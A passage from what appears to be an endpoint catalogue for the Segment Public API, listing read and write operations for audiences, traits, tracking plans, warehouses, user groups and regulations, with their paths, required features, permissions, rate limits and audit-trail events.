/api/v1/segment/spaces/{spaceId}/audiences/{id}/schedules. Scopes: api. segment_get_spaces_by_spaceid_audiences_by_id_schedules_by_scheduleid (read) — Get Audience Schedule from Space And Audience. Returns the schedule for the given audience and scheduleId. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/{id}/schedules/{scheduleId}. Scopes: api. segment_get_spaces_by_spaceid_audiences_previews_by_id (read) — Get Audience Preview. Reads the results of an audience preview. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 300 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audiences/previews/{id}. Scopes: api. segment_get_spaces_by_spaceid_audiencetype_by_audiencetype_supported_destinations (read) — List Supported Destinations from Audience. Lists the Destinations that have been reviewed and validated for activation with this audience type. Use this endpoint to discover the available action ids and the Destination fields that can be mapped before creating an Activation. Destinations returned with an empty actions array are audience Destinations that are configured through connection settings rather than action mappings, and do not use destinationMapping. Destinations that are not returned here have not been reviewed for activation and are unsupported. To request a review for an additional Destination, contact your customer success manager. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/audienceType/{audienceType}/supported-destinations. Scopes: api. segment_get_spaces_by_spaceid_computed_traits (read) — List Computed Traits. Returns Computed Traits by spaceId. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Computed Trait feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/computed-traits. Scopes: api. segment_get_spaces_by_spaceid_computed_traits_by_id (read) — Get Computed Trait. Returns the Computed Trait by id and spaceId • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Computed Trait feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 100 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/computed-traits/{id}. Scopes: api. segment_get_spaces_by_spaceid_entities_by_entityslug_properties (read) — List Properties from Entity. Returns a list of Properties for an Entity in a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. <div style="background-color: #e8f4fd; border: 1px solid #90caf9; border-radius: 6px; padding: 16px; margin: 16px 0; color: #0d47a1; line-height: 1.5;"> <ul style="margin: 0; padding-left: 20px; font-size: 13px;"> <li style="margin-bottom: 6px;"><strong>Forward-only pagination</strong>: this endpoint does not support backward traversal. The <code>pagination.previous</code> field is always absent; use <code>pagination.next</code> to advance through pages.</li> </ul> </div> The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/entities/{entitySlug}/properties. Scopes: api. segment_get_spaces_by_spaceid_entities_by_entityslug_properties_by_propertyname_sample_values (read) — List Sample Values from Entity Property. Returns sample values for an Entity Property in a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/entities/{entitySlug}/properties/{propertyName}/sample-values. Scopes: api. segment_get_spaces_by_spaceid_entity_paths (read) — List Entity Paths. Returns a list of Entity Paths for a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/entity-paths. Scopes: api. segment_get_spaces_by_spaceid_events (read) — List Events. Returns a list of Events for a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/events. Scopes: api. segment_get_spaces_by_spaceid_events_by_eventname_properties (read) — List Properties from Event. Returns a list of Properties for an Event in a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/events/{eventName}/properties. Scopes: api. segment_get_spaces_by_spaceid_events_by_eventname_properties_by_propertyname_sample_values (read) — List Sample Values from Event Property. Returns sample values for an Event Property in a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/events/{eventName}/properties/{propertyName}/sample-values. Scopes: api. segment_get_spaces_by_spaceid_profiles_warehouses (read) — List Profiles Warehouse in Space. Lists all Profile Warehouses for a given space id. • When called, this endpoint may generate the `Profiles Sync Warehouse Retrieved` event in the [audit trail](/tag/Audit-Trail). GET /api/v1/segment/spaces/{spaceId}/profiles-warehouses. Scopes: api. segment_get_spaces_by_spaceid_profiles_warehouses_by_warehouseid_selective_syncs (read) — List Selective Syncs from Warehouse And Space. Returns the schema for a Space Warehouse connection, including Collections and Properties. GET /api/v1/segment/spaces/{spaceId}/profiles-warehouses/{warehouseId}/selective-syncs. Scopes: api. segment_get_spaces_by_spaceid_traits (read) — List Traits. Returns a list of Traits for a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. <div style="background-color: #e8f4fd; border: 1px solid #90caf9; border-radius: 6px; padding: 16px; margin: 16px 0; color: #0d47a1; line-height: 1.5;"> <ul style="margin: 0; padding-left: 20px; font-size: 13px;"> <li style="margin-bottom: 6px;"><strong>Forward-only pagination</strong>: this endpoint does not support backward traversal. The <code>pagination.previous</code> field is always absent; use <code>pagination.next</code> to advance through pages.</li> <li style="margin-bottom: 6px;"><strong>Approximate total count</strong>: <code>pagination.totalEntries</code> is an upper bound that decreases as you paginate — the final page reflects the exact deduplicated count.</li> <li style="margin-bottom: 6px;"><strong>Duplicate entries</strong>: when sorting by <code>lastSeenAt</code>, duplicate trait entries may appear across pages for Spaces with more than 2,500 traits. Sorting by <code>trait</code> is not affected.</li> </ul> </div> The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/traits. Scopes: api. segment_get_spaces_by_spaceid_traits_by_traitkey_sample_values (read) — List Sample Values from Trait. Returns sample values for a Trait in a Space. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. The rate limit for this endpoint is 25 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/spaces/{spaceId}/traits/{traitKey}/sample-values. Scopes: api. segment_get_suppressions (read) — List Suppressions. Lists all suppressions in a given Workspace. GET /api/v1/segment/suppressions. Scopes: api. segment_get_tracking_plans (read) — List Tracking Plans. Returns a list of Tracking Plans. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/tracking-plans. Scopes: api. segment_get_tracking_plans_by_trackingplanid (read) — Get Tracking Plan. Returns a Tracking Plan. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/tracking-plans/{trackingPlanId}. Scopes: api. segment_get_tracking_plans_by_trackingplanid_rules (read) — List Rules from Tracking Plan. Lists Tracking Plan rules. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 200 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/tracking-plans/{trackingPlanId}/rules. Scopes: api. segment_get_tracking_plans_by_trackingplanid_sources (read) — List Sources from Tracking Plan. Lists Sources connected to a Tracking Plan. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. This endpoint requires the user to have at least the following permission(s): * Source Read-only * Tracking Plan Read-only. GET /api/v1/segment/tracking-plans/{trackingPlanId}/sources. Scopes: api. segment_get_transformations (read) — List Transformations. Lists all Transformations in the Workspace. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/transformations. Scopes: api. segment_get_transformations_by_transformationid (read) — Get Transformation. Gets a Transformation. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. GET /api/v1/segment/transformations/{transformationId}. Scopes: api. segment_get_usage_api_calls_daily (read) — Get Daily Workspace API Calls Usage. Provides daily cumulative API call counts for a usage period. GET /api/v1/segment/usage/api-calls/daily. Scopes: api. segment_get_usage_api_calls_sources_daily (read) — Get Daily Per Source API Calls Usage. Provides daily cumulative per-source API call counts for a usage period. GET /api/v1/segment/usage/api-calls/sources/daily. Scopes: api. segment_get_usage_mtu_daily (read) — Get Daily Workspace MTU Usage. Provides daily cumulative MTU counts for a usage period. GET /api/v1/segment/usage/mtu/daily. Scopes: api. segment_get_usage_mtu_sources_daily (read) — Get Daily Per Source MTU Usage. Provides daily cumulative per-source MTU counts for a usage period. GET /api/v1/segment/usage/mtu/sources/daily. Scopes: api. segment_get_users (read) — List Users. Returns a list of users with access to the Workspace. GET /api/v1/segment/users. Scopes: api. segment_get_users_by_userid (read) — Get User. Returns a user given their id. GET /api/v1/segment/users/{userId}. Scopes: api. segment_get_users_by_userid_groups (read) — List User Groups from User. Returns all groups a user belongs to. GET /api/v1/segment/users/{userId}/groups. Scopes: api. segment_get_warehouses (read) — List Warehouses. Returns a list of Warehouses. GET /api/v1/segment/warehouses. Scopes: api. segment_get_warehouses_by_warehouseid (read) — Get Warehouse. Returns a Warehouse by its id. GET /api/v1/segment/warehouses/{warehouseId}. Scopes: api. segment_get_warehouses_by_warehouseid_advanced_sync_schedule (read) — Get Advanced Sync Schedule from Warehouse. Returns the advanced sync schedule for a Warehouse. The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/warehouses/{warehouseId}/advanced-sync-schedule. Scopes: api. segment_get_warehouses_by_warehouseid_connected_sources (read) — List Connected Sources from Warehouse. Returns the list of Sources that are connected to a Warehouse. GET /api/v1/segment/warehouses/{warehouseId}/connected-sources. Scopes: api. segment_get_warehouses_by_warehouseid_connected_sources_by_sourceid_selective_syncs (read) — List Selective Syncs from Warehouse And Source. Returns the schema for a Warehouse, including Sources, Collections, and Properties. The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/warehouses/{warehouseId}/connected-sources/{sourceId}/selective-syncs. Scopes: api. segment_get_warehouses_by_warehouseid_connected_sources_by_sourceid_syncs (read) — List Syncs from Warehouse And Source. Returns the overview of syncs for a Source connected to a Warehouse. The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/warehouses/{warehouseId}/connected-sources/{sourceId}/syncs. Scopes: api. segment_get_warehouses_by_warehouseid_connection_state (read) — Get Connection State from Warehouse. Verifies the state of Warehouse connection settings. The rate limit for this endpoint is 200 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/warehouses/{warehouseId}/connection-state. Scopes: api. segment_get_warehouses_by_warehouseid_syncs (read) — List Syncs from Warehouse. Returns the overview of syncs for every Source connected to a Warehouse. The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. GET /api/v1/segment/warehouses/{warehouseId}/syncs. Scopes: api. segment_patch_credentials_by_credentialid (write) — Update Credential. Updates an existing Credential. All Warehouses using this Credential are affected immediately. • When called, this endpoint may generate the `Warehouse Credential Modified` event in the [audit trail](/tag/Audit-Trail). This endpoint requires the user to have at least the following permission(s): * Workspace Owner. PATCH /api/v1/segment/credentials/{credentialId}. Scopes: api. segment_patch_destination_by_destinationid_filters_by_filterid (write) — Update Filter for Destination. Updates a filter in a Destination. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Destination Filter Enabled * Destination Filter Disabled. PATCH /api/v1/segment/destination/{destinationId}/filters/{filterId}. Scopes: api. segment_patch_destinations_by_destinationid (write) — Update Destination. Updates an existing Destination. **Note**: if you attempt to update read-only settings for your destination you'll encounter the following behavior: * If only read-only properties are being updated, the endpoint will return an HTTP 400 error. * If there's a mix of writable and read-only properties in the payload, the request will be accepted, the writable properties will be updated and the read-only properties ignored. • When called, this endpoint may generate the `Integration Disabled` event in the [audit trail](/tag/Audit-Trail). Config API omitted fields: - `updateMask`. PATCH /api/v1/segment/destinations/{destinationId}. Scopes: api. segment_patch_destinations_by_destinationid_subscriptions_by_id (write) — Update Subscription for Destination. Updates an existing Destination subscription. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Destination Subscriptions feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 5 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/destinations/{destinationId}/subscriptions/{id}. Scopes: api. segment_patch_filters_by_id (write) — Update Filter By Id. Updates a filter by id and replaces the existing filter. • This endpoint is in **Beta** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Space Filters feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Filter Updated` event in the [audit trail](/tag/Audit-Trail). PATCH /api/v1/segment/filters/{id}. Scopes: api. segment_patch_functions_by_functionid (write) — Update Function. Updates a Function. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. Config API omitted fields: - `updateMask`. PATCH /api/v1/segment/functions/{functionId}. Scopes: api. segment_patch_groups_by_usergroupid (write) — Update User Group. Updates a user group for a Workspace. • When called, this endpoint may generate the `User Group Updated` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/groups/{userGroupId}. Scopes: api. segment_patch_insert_function_instances_by_instanceid (write) — Update Insert Function Instance. Updates an insert Function instance connected to the given Destination. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. PATCH /api/v1/segment/insert-function-instances/{instanceId}. Scopes: api. segment_patch_reverse_etl_models_by_modelid (write) — Update Reverse Etl Model. Updates an existing Reverse ETL Model. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Model Settings Saved * Model State Change Toggled. PATCH /api/v1/segment/reverse-etl-models/{modelId}. Scopes: api. segment_patch_sources_by_sourceid (write) — Update Source. Updates an existing Source. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Source Modified * Source Enabled * Source Settings Modified * Source Disabled Config API omitted fields: - `updateMask`. PATCH /api/v1/segment/sources/{sourceId}. Scopes: api. segment_patch_sources_by_sourceid_settings (write) — Update Schema Settings in Source. Updates the schema configuration for a Source. If Protocols is not enabled for the Source, any updates to Protocols-specific configurations will not be applied. Config API omitted fields: - `updateMask`. PATCH /api/v1/segment/sources/{sourceId}/settings. Scopes: api. segment_patch_spaces_by_spaceid_audiences_by_audienceid_activations_by_id (write) — Update Activation for Audience. Updates an Activation. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/activations/{id}. Scopes: api. segment_patch_spaces_by_spaceid_audiences_by_audienceid_destination_connections_by_destinationid (write) — Update Destination for Audience. Updates a Destination for an Audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. PATCH /api/v1/segment/spaces/{spaceId}/audiences/{audienceId}/destination-connections/{destinationId}. Scopes: api. segment_patch_spaces_by_spaceid_audiences_by_id (write) — Update Audience for Space. Updates the Audience. • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Audience Modified` event in the [audit trail](/tag/Audit-Trail). • Note that when an Audience is updated, the Audience will be locked from future edits until the changes have been incorporated. You can find more information [in the Segment docs](https://segment-docs.netlify.app/docs/engage/audiences/#editing-realtime-audiences-and-traits). The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/spaces/{spaceId}/audiences/{id}. Scopes: api. segment_patch_spaces_by_spaceid_audiences_by_id_schedules_by_scheduleid (write) — Update Audience Schedule for Audience. Updates an audience schedule for a Linked Audience (audienceType = LINKED). • In order to successfully call this endpoint, the specified Workspace needs to have the Audience feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 50 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/spaces/{spaceId}/audiences/{id}/schedules/{scheduleId}. Scopes: api. segment_patch_spaces_by_spaceid_computed_traits_by_id (write) — Update Computed Trait for Space. Updates the Computed Trait. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Computed Trait feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Computed Trait Modified` event in the [audit trail](/tag/Audit-Trail). • Note that when a Computed Trait is updated, the Computed Trait will be locked from future edits until the changes have been incorporated. You can find more information [in the Segment docs](https://segment-docs.netlify.app/docs/unify/traits/computed-traits/#editing-realtime-traits). Note: The definition for a Computed Trait updated using the API is not editable through the Segment App. The rate limit for this endpoint is 10 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/spaces/{spaceId}/computed-traits/{id}. Scopes: api. segment_patch_spaces_by_spaceid_profiles_warehouses_by_warehouseid (write) — Update Profiles Warehouse for Space Warehouse. Updates an existing Profiles Warehouse. • When called, this endpoint may generate the `Profiles Sync Warehouse Updated` event in the [audit trail](/tag/Audit-Trail). PATCH /api/v1/segment/spaces/{spaceId}/profiles-warehouses/{warehouseId}. Scopes: api. segment_patch_spaces_by_spaceid_profiles_warehouses_by_warehouseid_selective_syncs (write) — Update Selective Sync for Warehouse And Space. Updates the schema for a Space Warehouse connection, including Collections and Properties. • When called, this endpoint may generate the `Profiles Sync Warehouse Modified` event in the [audit trail](/tag/Audit-Trail). PATCH /api/v1/segment/spaces/{spaceId}/profiles-warehouses/{warehouseId}/selective-syncs. Scopes: api. segment_patch_tracking_plans_by_trackingplanid (write) — Update Tracking Plan. Updates a Tracking Plan. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. Config API omitted fields: - `updateMask`. PATCH /api/v1/segment/tracking-plans/{trackingPlanId}. Scopes: api. segment_patch_tracking_plans_by_trackingplanid_rules (write) — Update Rules in Tracking Plan. Updates Tracking Plan rules. • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. PATCH /api/v1/segment/tracking-plans/{trackingPlanId}/rules. Scopes: api. segment_patch_transformations_by_transformationid (write) — Update Transformation. Updates an existing Transformation. • When called, this endpoint may generate the `Transformation Updated` event in the [audit trail](/tag/Audit-Trail). • In order to successfully call this endpoint, the specified Workspace needs to have the Protocols feature enabled. Please reach out to your customer success manager for more information. PATCH /api/v1/segment/transformations/{transformationId}. Scopes: api. segment_patch_warehouses_by_warehouseid (write) — Update Warehouse. Updates an existing Warehouse. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Storage Destination Modified * Storage Destination Enabled. PATCH /api/v1/segment/warehouses/{warehouseId}. Scopes: api. segment_patch_warehouses_by_warehouseid_selective_sync (write) — Update Selective Sync for Warehouse. Configures the schema for a Warehouse, including Sources, Collections, and Properties. • When called, this endpoint may generate the `Storage Destination Modified` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 2 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. PATCH /api/v1/segment/warehouses/{warehouseId}/selective-sync. Scopes: api. segment_post_credentials (write) — Create Credential. Creates a new Credential. • When called, this endpoint may generate the `Warehouse Credential Created` event in the [audit trail](/tag/Audit-Trail). This endpoint requires the user to have at least the following permission(s): * Workspace Owner * Warehouse Admin * Source Admin * Entities Admin * Unify and Engage Admin. POST /api/v1/segment/credentials. Scopes: api. segment_post_customer_insights_download (write) — Create Download. Create Customer Insights Presigned URLsThe rate limit for this endpoint is 120 requests per day per workspaceId, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/customer-insights/download. Scopes: api. segment_post_dbt_model_syncs_trigger (write) — Create Dbt Model Sync Trigger. Creates a trigger for a new dbt model sync for a Source. The rate limit for this endpoint is 10 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/dbt-model-syncs/trigger. Scopes: api. segment_post_destination_by_destinationid_filters (write) — Create Filter for Destination. Creates a filter in a Destination. • When called, this endpoint may generate the `Destination Filter Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/destination/{destinationId}/filters. Scopes: api. segment_post_destination_filters_preview (write) — Preview Destination Filter. Simulates the application of a Destination filter to a provided JSON payload. POST /api/v1/segment/destination/filters/preview. Scopes: api. segment_post_destinations (write) — Create Destination. Creates a new Destination. • When called, this endpoint may generate the `Integration Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/destinations. Scopes: api. segment_post_destinations_by_destinationid_subscriptions (write) — Create Destination Subscription. Creates a new Destination subscription. • This endpoint is in **Alpha** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Destination Subscriptions feature enabled. Please reach out to your customer success manager for more information. The rate limit for this endpoint is 5 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/destinations/{destinationId}/subscriptions. Scopes: api. segment_post_filters (write) — Create Filter for Space. Creates a filter for a space. A space filter applies to events coming from all Sources connected to a space. • This endpoint is in **Beta** testing. Please submit any feedback by sending an email to friends@segment.com. • In order to successfully call this endpoint, the specified Workspace needs to have the Space Filters feature enabled. Please reach out to your customer success manager for more information. • When called, this endpoint may generate the `Filter Created` event in the [audit trail](/tag/Audit-Trail). POST /api/v1/segment/filters. Scopes: api. segment_post_functions (write) — Create Function. Creates a Function. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/functions. Scopes: api. segment_post_functions_by_functionid_deploy (write) — Create Function Deployment. Deploys a Function. Only applicable to Source Function instances. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/functions/{functionId}/deploy. Scopes: api. segment_post_functions_by_functionid_versions (write) — Restore Function Version. Restore an old Function version as the latest version. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/functions/{functionId}/versions. Scopes: api. segment_post_groups (write) — Create User Group. Creates a user group. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* User Group Created * Policy Created The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/groups. Scopes: api. segment_post_groups_by_usergroupid_permissions (write) — Add Permissions to User Group. Adds a list of access permissions to a user group. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Policy Created * User Group Policy Updated The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/groups/{userGroupId}/permissions. Scopes: api. segment_post_groups_by_usergroupid_users (write) — Add Users to User Group. Adds a list of users or invites to a user group. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Subjects Added to Group * User Added To User Group The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/groups/{userGroupId}/users. Scopes: api. segment_post_insert_function_instances (write) — Create Insert Function Instance. Creates an insert Function instance connected to the given Destination. • In order to successfully call this endpoint, the specified Workspace needs to have the Functions feature enabled. Please reach out to your customer success manager for more information. POST /api/v1/segment/insert-function-instances. Scopes: api. segment_post_invites (write) — Create Invites. Invites a list of users to join a Workspace. • When called, this endpoint may generate one or more of the following [audit trail](/tag/Audit-Trail) events:* Non-Segment User Invited to Workspace * Policy Created * New Segment User Invited to Workspace Config API omitted fields: - `parent` The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/invites. Scopes: api. segment_post_labels (write) — Create Label. Creates a new label. • When called, this endpoint may generate the `Label Created` event in the [audit trail](/tag/Audit-Trail). The rate limit for this endpoint is 60 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. POST /api/v1/segment/labels. Scopes: api. segment_post_regulations (write) — Create Workspace Regulation. Creates a Workspace-scoped regulation. Config API omitted fields: - `attributes`, - `userAgent` Rate limit headers will be updated to reflect regulation-specific limits (tracked separately for Segment-only vs Segment & Destination regulation types): - X-RateLimit-Remaining: Remaining requests for the regulation type category - Segment-only Regulations: DELETE_INTERNAL, SUPPRESS_WITH_DELETE_INTERNAL, SUPPRESS_ONLY, UNSUPPRESS, DELETE_ARCHIVE_ONLY - Segment & Destination Regulations: DELETE_ONLY, SUPPRESS_WITH_DELETE - X-RateLimit-Reset: RFC 5322 timestamp for when the quota resets (for example, Tue, 31 Dec 2024 23:59:59 GMT) The rate limit for this endpoint is 600 requests per minute, which is lower than the default due to access pattern restrictions. Once reached, this endpoint will respond with the 429 HTTP status code with headers indicating the limit parameters. See [Rate Limiting](/#tag/Rate-Limits) for more information. 